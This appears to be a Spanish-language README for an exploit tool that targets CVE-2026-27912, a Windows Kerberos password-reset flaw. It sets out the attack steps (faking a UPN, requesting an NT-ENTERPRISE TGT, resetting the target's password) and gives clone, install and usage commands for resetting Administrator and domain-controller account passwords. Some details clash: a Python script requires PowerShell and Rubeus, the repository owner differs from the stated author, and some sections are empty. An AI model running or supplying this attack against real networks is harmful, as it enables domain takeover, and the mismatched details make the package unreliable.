Kerberos-CVE-2026-27912

CVE-2026-27912 - Vulnerabilidad de elevación de privilegios de Windows Kerberos

ResetNightmare - Restablecimiento de contraseña no autorizado mediante una falla en el protocolo de cambio de contraseña de Kerberos.

📋 Detalles

🔍 Flujo de Ataque

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Requisitos

• Windows con PowerShell
• Módulo de ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (descargar desde GhostPack/Rubeus)
• Acceso de red al controlador de dominio

🚀 Instalación

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Uso

Ataque básico

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Cuenta de equipo objetivo

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Crear nueva cuenta

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Modo detallado

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Argumentos

🛡️ Mitigación

1. Aplicar el parche oficial de la actualización de seguridad de Microsoft
2. Segmentar la red para limitar el acceso a redes adyacentes
3. Aplicar el principio de privilegio mínimo - restringir los permisos de escritura de UPN
4. Supervisar cambios sospechosos de UPN y restablecimientos de contraseña

⚠️ Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas e investigación educativa.

El acceso no autorizado a los sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de este software.

📚 Referencias

• NVD: CVE-2026-27912
• Guía de actualizaciones de seguridad de Microsoft

👨‍💻 Autor

n0vax1337 / Investigador de Seguridad

📄 Licencia

Licencia MIT - ver LICENSE

Última actualización: 2026